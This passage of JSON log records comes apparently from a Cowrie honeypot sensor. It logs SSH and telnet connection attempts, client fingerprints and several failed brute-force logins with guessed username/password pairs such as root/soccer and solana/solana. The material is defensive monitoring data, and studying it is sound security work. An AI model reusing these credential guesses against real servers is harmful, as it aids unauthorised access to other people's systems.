nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:43.114022Z","src_ip":"182.180.57.212","session":"8c5ebc2d1c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soccer","message":"login attempt [root/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:44.074706Z","src_ip":"182.180.57.212","session":"8c5ebc2d1c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:45.305929Z","src_ip":"182.180.57.212","session":"8c5ebc2d1c02","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:48.873193Z","src_ip":"8.218.166.49","session":"ad91c1db0867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:48.877263Z","src_ip":"8.218.166.49","session":"ad91c1db0867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"61.3","message":"Connection lost after 61.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:51.115638Z","src_ip":"8.218.166.49","session":"20bb34b6c31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52834,"dst_ip":"159.203.135.109","dst_port":22,"session":"3662f83afb3c","protocol":"ssh","message":"New connection: 2.57.122.238:52834 (159.203.135.109:22) [session: 3662f83afb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:56.294740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:56.299015Z","src_ip":"2.57.122.238","session":"3662f83afb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:56.393744Z","src_ip":"2.57.122.238","session":"3662f83afb3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:56.677965Z","src_ip":"2.57.122.238","session":"3662f83afb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:57.775463Z","src_ip":"2.57.122.238","session":"3662f83afb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":19834,"dst_ip":"10.17.0.5","dst_port":22,"session":"06cd6b5f2791","protocol":"ssh","message":"New connection: 49.207.40.162:19834 (10.17.0.5:22) [session: 06cd6b5f2791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:10.385617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:10.390756Z","src_ip":"49.207.40.162","session":"06cd6b5f2791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:10.453854Z","src_ip":"8.218.166.49","session":"6267d7e1eb73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:10.620269Z","src_ip":"49.207.40.162","session":"06cd6b5f2791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":38406,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b8ae8ec994e","protocol":"ssh","message":"New connection: 198.23.150.42:38406 (10.17.0.5:22) [session: 0b8ae8ec994e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:10.932789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:10.937278Z","src_ip":"198.23.150.42","session":"0b8ae8ec994e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:10.955258Z","src_ip":"198.23.150.42","session":"0b8ae8ec994e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hunter","message":"login attempt [root/hunter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:11.053754Z","src_ip":"198.23.150.42","session":"0b8ae8ec994e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:11.537205Z","src_ip":"49.207.40.162","session":"06cd6b5f2791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:12.073840Z","src_ip":"198.23.150.42","session":"0b8ae8ec994e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:12.761658Z","src_ip":"49.207.40.162","session":"06cd6b5f2791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":64592,"dst_ip":"10.17.0.5","dst_port":22,"session":"4df6c22d7750","protocol":"ssh","message":"New connection: 95.90.13.168:64592 (10.17.0.5:22) [session: 4df6c22d7750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:17.106160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:17.114733Z","src_ip":"95.90.13.168","session":"4df6c22d7750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:17.241982Z","src_ip":"95.90.13.168","session":"4df6c22d7750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:17.728052Z","src_ip":"8.218.166.49","session":"ad91c1db0867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"columbia","message":"login attempt [root/columbia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:17.754489Z","src_ip":"95.90.13.168","session":"4df6c22d7750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:18.880748Z","src_ip":"95.90.13.168","session":"4df6c22d7750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":37166,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f77eb1eb77","protocol":"ssh","message":"New connection: 68.183.178.130:37166 (10.17.0.5:22) [session: 09f77eb1eb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:42.028493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:42.034159Z","src_ip":"68.183.178.130","session":"09f77eb1eb77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:42.270350Z","src_ip":"68.183.178.130","session":"09f77eb1eb77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustafa123","message":"login attempt [root/mustafa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:43.247268Z","src_ip":"68.183.178.130","session":"09f77eb1eb77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:44.486698Z","src_ip":"68.183.178.130","session":"09f77eb1eb77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56080,"dst_ip":"10.17.0.5","dst_port":22,"session":"376ebcdd4104","protocol":"ssh","message":"New connection: 8.218.166.49:56080 (10.17.0.5:22) [session: 376ebcdd4104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:58.609873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:58.723550Z","src_ip":"8.218.166.49","session":"376ebcdd4104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:58.951590Z","src_ip":"8.218.166.49","session":"376ebcdd4104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:59:59.949655Z","src_ip":"8.218.166.49","session":"376ebcdd4104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":42224,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9e3aa93258f","protocol":"telnet","message":"New connection: 104.238.81.133:42224 (10.17.0.5:23) [session: f9e3aa93258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:02.087699Z"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:03.863243Z","src_ip":"8.218.166.49","session":"376ebcdd4104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":37234,"dst_ip":"10.17.0.5","dst_port":22,"session":"efad31b7a3df","protocol":"ssh","message":"New connection: 182.180.57.212:37234 (10.17.0.5:22) [session: efad31b7a3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:29.027989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:29.033248Z","src_ip":"182.180.57.212","session":"efad31b7a3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:29.274058Z","src_ip":"182.180.57.212","session":"efad31b7a3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:30.265938Z","src_ip":"182.180.57.212","session":"efad31b7a3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:31.510089Z","src_ip":"182.180.57.212","session":"efad31b7a3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":4073,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f4c7e529e09","protocol":"ssh","message":"New connection: 49.207.40.162:4073 (10.17.0.5:22) [session: 2f4c7e529e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:00:32.595490Z"}
